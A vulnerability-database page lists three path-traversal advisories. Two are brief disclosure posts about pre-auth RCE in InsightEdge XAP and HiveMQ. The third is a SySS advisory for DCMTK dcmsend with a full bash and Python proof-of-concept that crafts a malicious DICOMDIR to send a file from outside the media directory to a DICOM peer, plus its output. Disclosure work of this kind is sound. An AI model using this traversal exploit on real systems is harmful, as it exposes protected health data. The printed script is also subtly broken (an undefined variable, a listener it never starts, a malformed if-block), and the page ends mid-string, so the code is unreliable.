Common Weakness Enumeration
CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
14578 vulnerabilities reference this CWE, most recent first.
GCVE-1988-2026-0066
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-07 13:20
VLAI
EPSS
VEX
Title
[0day-rubbish] InsightEdge Enterprise (XAP IMDg) 16.1.1 Pre-authentication RCE (path traversal + JSP webshell) (9.8)
Summary
TO: fulldisclosure () seclists org
SUBJECT: [0day-rubbish] InsightEdge Enterprise (XAP IMDg) 16.1.1 Pre-authentication RCE (path traversal + JSP webshell)
(9.8)
FROM: disclosure () 0day-rubbish com
----BODY----
0day Rubbish Research Team is publicly disclosing a vulnerability in InsightEdge Enterprise (XAP IMDg) 16.1.1.
Type: Pre-authentication RCE (path traversal + JSP webshell) (CWE-22)
CVSS: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Impact: Unauthenticated arbitrary file write and root command execution on the management host and data grid, including
the in-memory data and analytics platforms serving transaction processing.
Authentication: unauthenticated / pre-auth
Full technical analysis and a reproducible proof-of-concept:
https://0day-rubbish.com/blog/gigaspaces-xap-unauth-webshell
Project archive (ongoing disclosure series):
https://github.com/Exploit-Garbage/0day-Rubbish
Vendor has been notified. CVE ID is pending.
--
0day Rubbish Research Team
disclosure () 0day-rubbish com
https://0day-rubbish.com
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | InsightEdge Enterprise XAP |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "InsightEdge Enterprise XAP",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "disclosure via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "TO: fulldisclosure () seclists org\nSUBJECT: [0day-rubbish] InsightEdge Enterprise (XAP IMDg) 16.1.1 Pre-authentication RCE (path traversal + JSP webshell) \n(9.8)\nFROM: disclosure () 0day-rubbish com\n----BODY----\n0day Rubbish Research Team is publicly disclosing a vulnerability in InsightEdge Enterprise (XAP IMDg) 16.1.1.\n\nType: Pre-authentication RCE (path traversal + JSP webshell) (CWE-22)\nCVSS: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\nImpact: Unauthenticated arbitrary file write and root command execution on the management host and data grid, including \nthe in-memory data and analytics platforms serving transaction processing.\nAuthentication: unauthenticated / pre-auth\n\nFull technical analysis and a reproducible proof-of-concept:\n https://0day-rubbish.com/blog/gigaspaces-xap-unauth-webshell\n\nProject archive (ongoing disclosure series):\n https://github.com/Exploit-Garbage/0day-Rubbish\n\nVendor has been notified. CVE ID is pending.\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-07T13:20:21Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/45"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/45"
},
{
"url": "https://0day-rubbish.com"
},
{
"url": "https://0day-rubbish.com/blog/gigaspaces-xap-unauth-webshell"
},
{
"url": "https://github.com/Exploit-Garbage/0day-Rubbish"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/45"
],
"discovery": "EXTERNAL"
},
"title": "[0day-rubbish] InsightEdge Enterprise (XAP IMDg) 16.1.1 Pre-authentication RCE (path traversal + JSP webshell) (9.8)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0066",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/45",
"automated": true,
"contentSha256": "7ce1b56623fb98ab73bcbe8548c242f7e930f9a43ea854275a36dcd2fcaacea8",
"evidenceScore": 11,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/45",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-15T07:24:59Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:21Z",
"dateUpdated": "2026-09-07T13:20:21Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0066"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0065
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 11:50
VLAI
EPSS
VEX
Title
[0day-rubbish] HiveMQ Platform 4.54.0 Pre-authentication RCE (default credentials + Zip-Slip) (9.8)
Summary
TO: fulldisclosure () seclists org
SUBJECT: [0day-rubbish] HiveMQ Platform 4.54.0 Pre-authentication RCE (default credentials + Zip-Slip) (9.8)
FROM: disclosure () 0day-rubbish com
----BODY----
0day Rubbish Research Team is publicly disclosing a vulnerability in HiveMQ Platform 4.54.0.
Type: Pre-authentication RCE (default credentials + Zip-Slip) (CWE-22)
CVSS: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Impact: Full host compromise as root on root-run deployments; at minimum arbitrary file write as the HiveMQ user on
hardened deployments. An attacker can disrupt IoT messaging infrastructure and execute arbitrary commands on the host.
Authentication: unauthenticated / pre-auth
Full technical analysis and a reproducible proof-of-concept:
https://0day-rubbish.com/blog/hivemq-zipslip-cron-root-rce
Project archive (ongoing disclosure series):
https://github.com/Exploit-Garbage/0day-Rubbish
Vendor has been notified. CVE ID is pending.
--
0day Rubbish Research Team
disclosure () 0day-rubbish com
https://0day-rubbish.com
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Platform",
"vendor": "Hivemq",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "disclosure via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "TO: fulldisclosure () seclists org\nSUBJECT: [0day-rubbish] HiveMQ Platform 4.54.0 Pre-authentication RCE (default credentials + Zip-Slip) (9.8)\nFROM: disclosure () 0day-rubbish com\n----BODY----\n0day Rubbish Research Team is publicly disclosing a vulnerability in HiveMQ Platform 4.54.0.\n\nType: Pre-authentication RCE (default credentials + Zip-Slip) (CWE-22)\nCVSS: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\nImpact: Full host compromise as root on root-run deployments; at minimum arbitrary file write as the HiveMQ user on \nhardened deployments. An attacker can disrupt IoT messaging infrastructure and execute arbitrary commands on the host.\nAuthentication: unauthenticated / pre-auth\n\nFull technical analysis and a reproducible proof-of-concept:\n https://0day-rubbish.com/blog/hivemq-zipslip-cron-root-rce\n\nProject archive (ongoing disclosure series):\n https://github.com/Exploit-Garbage/0day-Rubbish\n\nVendor has been notified. CVE ID is pending.\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T11:50:25Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/43"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/43"
},
{
"url": "https://0day-rubbish.com"
},
{
"url": "https://0day-rubbish.com/blog/hivemq-zipslip-cron-root-rce"
},
{
"url": "https://github.com/Exploit-Garbage/0day-Rubbish"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/43"
],
"discovery": "EXTERNAL"
},
"title": "[0day-rubbish] HiveMQ Platform 4.54.0 Pre-authentication RCE (default credentials + Zip-Slip) (9.8)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0065",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/43",
"automated": true,
"contentSha256": "043834b124a5adec7a831c8ce59049e29a385ee308bc0536e84d4ef9524c7596",
"evidenceScore": 11,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/43",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-15T07:24:46Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:21Z",
"dateUpdated": "2026-09-11T11:50:25Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0065"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0024
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:11
VLAI
EPSS
VEX
Title
[SYSS-2026-047]: DICOM Toolkit (DCMTK) - Path traversal (CWE-22)
Summary
Advisory ID: SYSS-2026-047
Product: DCMTK (DICOM ToolKit)
Manufacturer: OFFIS e.V. / DCMTK Community
Affected Version(s): 3.7.0
Tested Version(s): 3.7.0
Vulnerability Type: Path traversal (CWE-22)
Risk Level: High
Solution Status: Fixed
Manufacturer Notification: 2026-07-02
Solution Date: 2026-07-03
Public Disclosure: 2026-07-31
CVE Reference: Not yet assigned
Author of Advisory: Matthias Deeg, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
DCMTK (DICOM ToolKit) is an open-source collection of libraries and
applications implementing large parts of the DICOM (Digital Imaging
and Communications in Medicine) standard (see [1]).
DCMTK's dcmsend is vulnerable to path traversal when it is instructed to
read input files from a specially crafted DICOMDIR. This can lead to
unauthorized disclosure of readable DICOM objects, including protected
health information.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The dcmsend command line option --read-from-dicomdir (+rd) enables
DcmStorageSCU::ReadFromDICOMDIRMode. In this mode, a DICOMDIR input file
is not sent itself. Instead, dcmsend reads the DICOMDIR and adds the
referenced SOP instances to its transfer list.
The affected implementation is DcmStorageSCU::addDicomFilesFromDICOMDIR()
in dcmnet/libsrc/dstorscu.cc. The function searches the DICOMDIR dataset
for ReferencedFileID (0004,1500) elements, converts DICOM backslashes to
host path separators with dicomToHostFilename(), and then combines the
result with the DICOMDIR directory:
const OFFilename tmpFilename(dicomToHostFilename(fileID, tmpString),
pathName.usesWideChars());
OFStandard::combineDirAndFilename(pathName, dirName, tmpFilename,
OFTrue /* allowEmptyDirName */);
dicomToHostFilename() only replaces "\\" with the host path separator.
It does not reject ".." components, absolute paths, or other traversal
patterns. OFStandard::combineDirAndFilename() also does not canonicalize
the result or verify that the final path remains below the DICOMDIR
directory. Therefore, a ReferencedFileID such as "..\\OUTDIR\\SECRET"
becomes a host path like "MEDIA/../OUTDIR/SECRET".
The attack chain is as follows:
1. The attacker crafts a DICOMDIR with an IMAGE directory record whose
ReferencedFileID contains traversal components, for example
"..\\OUTDIR\\SECRET".
2. The same record contains ReferencedSOPClassUIDInFile,
ReferencedSOPInstanceUIDInFile, and
ReferencedTransferSyntaxUIDInFile values matching the targeted DICOM
object.
3. The victim runs dcmsend with --read-from-dicomdir (+rd) against the
crafted DICOMDIR.
4. dcmsend resolves the ReferencedFileID relative to the DICOMDIR
location without rejecting the traversal.
5. dcmsend opens and transmits the traversed DICOM file to the
configured remote storage SCP.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
To demonstrate this security isssue, a PoC exploit was developed that
sends a DICOM file outside the media directory to an attacker when an
attacker-controlled DICOMDIR is used by dcmsend.
The crafted DICOMDIR contains a path traversal attack vector in
ReferencedFileID.
cat > poc.sh << 'EOPOC'
#!/bin/bash
# Demonstrate DICOMDIR ReferencedFileID path traversal via dcmsend
set -u
WORKDIR="$(mktemp -d /tmp/dcmtk-dcmsend.XXXXXX)"
MEDIA_DIR="${WORKDIR}/MEDIA"
OUTSIDE_DIR="${WORKDIR}/OUTDIR"
RECV_DIR="${WORKDIR}/recv"
TARGET_DUMP="${WORKDIR}/target.dump"
DICOMDIR="${MEDIA_DIR}/DICOMDIR"
TARGET_FILE="${OUTSIDE_DIR}/SECRET"
DCMSEND_LOG="${WORKDIR}/dcmsend.log"
STORESCP_LOG="${WORKDIR}/storescp.log"
cleanup()
{
if [ -n "${STORESCP_PID:-}" ]; then
kill "${STORESCP_PID}" 2>/dev/null || true
wait "${STORESCP_PID}" 2>/dev/null || true
fi
rm -rf "${WORKDIR}"
}
trap cleanup EXIT
require_tool()
{
command -v "$1" >/dev/null 2>&1 || {
echo "[!] Missing required tool: $1"
exit 1
}
}
require_tool dump2dcm
require_tool dcmdump
require_tool dcmsend
require_tool storescp
require_tool python3
mkdir -p "${MEDIA_DIR}" "${OUTSIDE_DIR}" "${RECV_DIR}"
cat > "${TARGET_DUMP}" <<'EOF'
# Dicom-File-Format
# Dicom-Meta-Information-Header
# Used TransferSyntax: Little Endian Explicit
(0002,0001) OB 00\01
(0002,0002) UI =SecondaryCaptureImageStorage
(0002,0003) UI [1.2.826.0.1.3680043.10.543.777.1]
(0002,0010) UI =LittleEndianExplicit
(0002,0012) UI [1.2.826.0.1.3680043.10.543.370]
(0002,0013) SH [H7POC]
# Dicom-Data-Set
# Used TransferSyntax: Little Endian Explicit
(0008,0005) CS [ISO_IR 100]
(0008,0016) UI =SecondaryCaptureImageStorage
(0008,0018) UI [1.2.826.0.1.3680043.10.543.777.1]
(0008,0020) DA [20260630]
(0008,0030) TM [120000]
(0008,0060) CS [OT]
(0008,0064) CS [WSD]
(0010,0010) PN [POC^TRAVERSED]
(0010,0020) LO [H7DCMSEND]
(0020,000d) UI [1.2.826.0.1.3680043.10.543.777.2]
(0020,000e) UI [1.2.826.0.1.3680043.10.543.777.3]
(0020,0010) SH [1]
(0020,0011) IS [1]
(0020,0013) IS [1]
(0028,0002) US 1
(0028,0004) CS [MONOCHROME2]
(0028,0010) US 1
(0028,0011) US 1
(0028,0100) US 8
(0028,0101) US 8
(0028,0102) US 7
(0028,0103) US 0
(7fe0,0010) OB 00\00
EOF
dump2dcm "${TARGET_DUMP}" "${TARGET_FILE}" || exit 1
python3 - "${DICOMDIR}" <<'PY'
import struct
import sys
out = sys.argv[1]
def even(value, pad=b" "):
return value if len(value) % 2 == 0 else value + pad
def elem(tag, vr, value):
group, element = tag
if isinstance(value, str):
value = value.encode("ascii")
if vr == "UI":
value = even(value, b"\0")
value = even(value, b" ")
data = struct.pack("<HH", group, element) + vr.encode("ascii")
if vr in ("OB", "OD", "OF", "OL", "OW", "SQ", "UC", "UR", "UT", "UN"):
data += b"\0\0" + struct.pack("<I", len(value))
else:
data += struct.pack("<H", len(value))
return data + value
def item(content):
return struct.pack("<HHI", 0xFFFE, 0xE000, len(content)) + content
sop_class = "1.2.840.10008.5.1.4.1.1.7"
sop_inst = "1.2.826.0.1.3680043.10.543.777.1"
transfer_syntax = "1.2.840.10008.1.2.1"
record = b"".join([
elem((0x0004, 0x1400), "UL", struct.pack("<I", 0)),
elem((0x0004, 0x1410), "US", struct.pack("<H", 0xFFFF)),
elem((0x0004, 0x1420), "UL", struct.pack("<I", 0)),
elem((0x0004, 0x1430), "CS", "IMAGE"),
elem((0x0004, 0x1500), "CS", r"..\OUTDIR\SECRET"),
elem((0x0004, 0x1510), "UI", sop_class),
elem((0x0004, 0x1511), "UI", sop_inst),
elem((0x0004, 0x1512), "UI", transfer_syntax),
])
dataset = b"".join([
elem((0x0004, 0x1130), "CS", "H7POC"),
elem((0x0004, 0x1200), "UL", struct.pack("<I", 0)),
elem((0x0004, 0x1202), "UL", struct.pack("<I", 0)),
elem((0x0004, 0x1212), "US", struct.pack("<H", 0)),
elem((0x0004, 0x1220), "SQ", item(record)),
])
meta_body = b"".join([
elem((0x0002, 0x0001), "OB", b"\0\1"),
elem((0x0002, 0x0002), "UI", "1.2.840.10008.1.3.10"),
elem((0x0002, 0x0003), "UI", "1.2.826.0.1.3680043.10.543.777.999"),
elem((0x0002, 0x0010), "UI", transfer_syntax),
elem((0x0002, 0x0012), "UI", "1.2.826.0.1.3680043.10.543.370"),
elem((0x0002, 0x0013), "SH", "H7POC"),
])
with open(out, "wb") as handle:
handle.write(b"\0" * 128 + b"DICM" + meta + dataset)
PY
PORT="$(python3 - <<'PY'
import socket
s = socket.socket()
s.bind(("127.0.0.1", 0))
print(s.getsockname()[1])
s.close()
PY
)"
echo "[*] DICOMDIR is inside: ${MEDIA_DIR}"
echo "[*] Referenced target is outside: ${TARGET_FILE}"
echo "[*] DICOMDIR ReferencedFileID:"
dcmdump +P 0004,1500 "${DICOMDIR}"
STORESCP_PID=$!
sleep 1
set +e
dcmsend -v +rd 127.0.0.1 "${PORT}" "${DICOMDIR}" >"${DCMSEND_LOG}" 2>&1
RC=$?
set -e
sleep 1
kill "${STORESCP_PID}" 2>/dev/null || true
wait "${STORESCP_PID}" 2>/dev/null || true
STORESCP_PID=""
cat "${DCMSEND_LOG}"
RECEIVED_FILE="$(find "${RECV_DIR}" -type f | head -n 1)"
if [ "${RC}" -eq 0 ] &&
[ -n "${RECEIVED_FILE}" ] &&
dcmdump +P 0010,0010 +P 0010,0020 +P 0008,0018 "${RECEIVED_FILE}"
exit 0
fi
echo "[!] FAILED: traversal transmission was not verified"
echo "[!] Workdir retained for inspection: ${WORKDIR}"
trap - EXIT
exit 1
EOPOC
A successful attack is indicated by output similar to the following:
./poc.sh
[*] DICOMDIR is inside: /tmp/dcmtk-dcmsend.PBsYZC/MEDIA
[*] Referenced target is outside: /tmp/dcmtk-dcmsend.PBsYZC/OUTDIR/SECRET
[*] DICOMDIR ReferencedFileID:
I: checking input files ...
I: starting association #1
I: initializing network ...
I: negotiating network association ...
I: Requesting Association
I: Association Accepted (Max Send PDV: 16372)
I: sending SOP instances ...
I: Sending C-STORE Request (MsgID 1, SC)
I: Received C-STORE Response (Success)
I: Releasing Association
I:
I: Status Summary
I: --------------
I: Number of associations : 1
I: Number of pres. contexts : 1
I: Number of SOP instances : 1
I: - sent to the peer : 1
I: * with status SUCCESS : 1
(0010,0010) PN [POC^TRAVERSED] # 14, 1 PatientName
(0010,0020) LO [H7DCMSEND] # 10, 1 PatientID
This demonstrates that dcmsend reads a file outside the DICOMDIR
directory and transmits it to the configured DICOM peer.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
This security issue was fixed with the commit
225ff1e0e42efcac64a5275e8f06ade14ca509b5 (see [4]).
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2026-07-02: Vulnerability reported to manufacturer
2026-07-02: Manufacturer acknowledges receipt of security advisories
2026-07-03: Security fix published by manufacturer (see [4])
2026-07-31: Public release of security advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] DCMTK project website
https://dcmtk.org/en/
[2] SySS Security Advisory SYSS-2026-047
[3] SySS GmbH, SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
[4] DCMTK security fix
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.
E-Mail: matthias.deeg (at) syss.de
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS
website.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Dicom | DICOM Toolkit |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "DICOM Toolkit",
"vendor": "Dicom",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Matthias Deeg via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Advisory ID: SYSS-2026-047\nProduct: DCMTK (DICOM ToolKit)\nManufacturer: OFFIS e.V. / DCMTK Community\nAffected Version(s): 3.7.0\nTested Version(s): 3.7.0\nVulnerability Type: Path traversal (CWE-22)\nRisk Level: High\nSolution Status: Fixed\nManufacturer Notification: 2026-07-02\nSolution Date: 2026-07-03\nPublic Disclosure: 2026-07-31\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nDCMTK (DICOM ToolKit) is an open-source collection of libraries and\napplications implementing large parts of the DICOM (Digital Imaging\nand Communications in Medicine) standard (see [1]).\n\nDCMTK\u0027s dcmsend is vulnerable to path traversal when it is instructed to\nread input files from a specially crafted DICOMDIR. This can lead to\nunauthorized disclosure of readable DICOM objects, including protected\nhealth information.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe dcmsend command line option --read-from-dicomdir (+rd) enables\nDcmStorageSCU::ReadFromDICOMDIRMode. In this mode, a DICOMDIR input file\nis not sent itself. Instead, dcmsend reads the DICOMDIR and adds the\nreferenced SOP instances to its transfer list.\n\nThe affected implementation is DcmStorageSCU::addDicomFilesFromDICOMDIR()\nin dcmnet/libsrc/dstorscu.cc. The function searches the DICOMDIR dataset\nfor ReferencedFileID (0004,1500) elements, converts DICOM backslashes to\nhost path separators with dicomToHostFilename(), and then combines the\nresult with the DICOMDIR directory:\n\n const OFFilename tmpFilename(dicomToHostFilename(fileID, tmpString),\n pathName.usesWideChars());\n OFStandard::combineDirAndFilename(pathName, dirName, tmpFilename,\n OFTrue /* allowEmptyDirName */);\n\ndicomToHostFilename() only replaces \"\\\\\" with the host path separator.\nIt does not reject \"..\" components, absolute paths, or other traversal\npatterns. OFStandard::combineDirAndFilename() also does not canonicalize\nthe result or verify that the final path remains below the DICOMDIR\ndirectory. Therefore, a ReferencedFileID such as \"..\\\\OUTDIR\\\\SECRET\"\nbecomes a host path like \"MEDIA/../OUTDIR/SECRET\".\n\nThe attack chain is as follows:\n\n 1. The attacker crafts a DICOMDIR with an IMAGE directory record whose\n ReferencedFileID contains traversal components, for example\n \"..\\\\OUTDIR\\\\SECRET\".\n\n 2. The same record contains ReferencedSOPClassUIDInFile,\n ReferencedSOPInstanceUIDInFile, and\n ReferencedTransferSyntaxUIDInFile values matching the targeted DICOM\n object.\n\n 3. The victim runs dcmsend with --read-from-dicomdir (+rd) against the\n crafted DICOMDIR.\n\n 4. dcmsend resolves the ReferencedFileID relative to the DICOMDIR\n location without rejecting the traversal.\n\n 5. dcmsend opens and transmits the traversed DICOM file to the\n configured remote storage SCP.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nTo demonstrate this security isssue, a PoC exploit was developed that\nsends a DICOM file outside the media directory to an attacker when an\nattacker-controlled DICOMDIR is used by dcmsend.\n\nThe crafted DICOMDIR contains a path traversal attack vector in\nReferencedFileID.\n\ncat \u003e poc.sh \u003c\u003c \u0027EOPOC\u0027\n#!/bin/bash\n# Demonstrate DICOMDIR ReferencedFileID path traversal via dcmsend\n\nset -u\n\nWORKDIR=\"$(mktemp -d /tmp/dcmtk-dcmsend.XXXXXX)\"\nMEDIA_DIR=\"${WORKDIR}/MEDIA\"\nOUTSIDE_DIR=\"${WORKDIR}/OUTDIR\"\nRECV_DIR=\"${WORKDIR}/recv\"\nTARGET_DUMP=\"${WORKDIR}/target.dump\"\nDICOMDIR=\"${MEDIA_DIR}/DICOMDIR\"\nTARGET_FILE=\"${OUTSIDE_DIR}/SECRET\"\nDCMSEND_LOG=\"${WORKDIR}/dcmsend.log\"\nSTORESCP_LOG=\"${WORKDIR}/storescp.log\"\n\ncleanup()\n{\n if [ -n \"${STORESCP_PID:-}\" ]; then\n kill \"${STORESCP_PID}\" 2\u003e/dev/null || true\n wait \"${STORESCP_PID}\" 2\u003e/dev/null || true\n fi\n rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\n\nrequire_tool()\n{\n command -v \"$1\" \u003e/dev/null 2\u003e\u00261 || {\n echo \"[!] Missing required tool: $1\"\n exit 1\n }\n}\n\nrequire_tool dump2dcm\nrequire_tool dcmdump\nrequire_tool dcmsend\nrequire_tool storescp\nrequire_tool python3\n\nmkdir -p \"${MEDIA_DIR}\" \"${OUTSIDE_DIR}\" \"${RECV_DIR}\"\n\ncat \u003e \"${TARGET_DUMP}\" \u003c\u003c\u0027EOF\u0027\n# Dicom-File-Format\n\n# Dicom-Meta-Information-Header\n# Used TransferSyntax: Little Endian Explicit\n(0002,0001) OB 00\\01\n(0002,0002) UI =SecondaryCaptureImageStorage\n(0002,0003) UI [1.2.826.0.1.3680043.10.543.777.1]\n(0002,0010) UI =LittleEndianExplicit\n(0002,0012) UI [1.2.826.0.1.3680043.10.543.370]\n(0002,0013) SH [H7POC]\n\n# Dicom-Data-Set\n# Used TransferSyntax: Little Endian Explicit\n(0008,0005) CS [ISO_IR 100]\n(0008,0016) UI =SecondaryCaptureImageStorage\n(0008,0018) UI [1.2.826.0.1.3680043.10.543.777.1]\n(0008,0020) DA [20260630]\n(0008,0030) TM [120000]\n(0008,0060) CS [OT]\n(0008,0064) CS [WSD]\n(0010,0010) PN [POC^TRAVERSED]\n(0010,0020) LO [H7DCMSEND]\n(0020,000d) UI [1.2.826.0.1.3680043.10.543.777.2]\n(0020,000e) UI [1.2.826.0.1.3680043.10.543.777.3]\n(0020,0010) SH [1]\n(0020,0011) IS [1]\n(0020,0013) IS [1]\n(0028,0002) US 1\n(0028,0004) CS [MONOCHROME2]\n(0028,0010) US 1\n(0028,0011) US 1\n(0028,0100) US 8\n(0028,0101) US 8\n(0028,0102) US 7\n(0028,0103) US 0\n(7fe0,0010) OB 00\\00\nEOF\n\ndump2dcm \"${TARGET_DUMP}\" \"${TARGET_FILE}\" || exit 1\n\npython3 - \"${DICOMDIR}\" \u003c\u003c\u0027PY\u0027\nimport struct\nimport sys\n\nout = sys.argv[1]\n\ndef even(value, pad=b\" \"):\n return value if len(value) % 2 == 0 else value + pad\n\ndef elem(tag, vr, value):\n group, element = tag\n if isinstance(value, str):\n value = value.encode(\"ascii\")\n if vr == \"UI\":\n value = even(value, b\"\\0\")\n\n value = even(value, b\" \")\n data = struct.pack(\"\u003cHH\", group, element) + vr.encode(\"ascii\")\n if vr in (\"OB\", \"OD\", \"OF\", \"OL\", 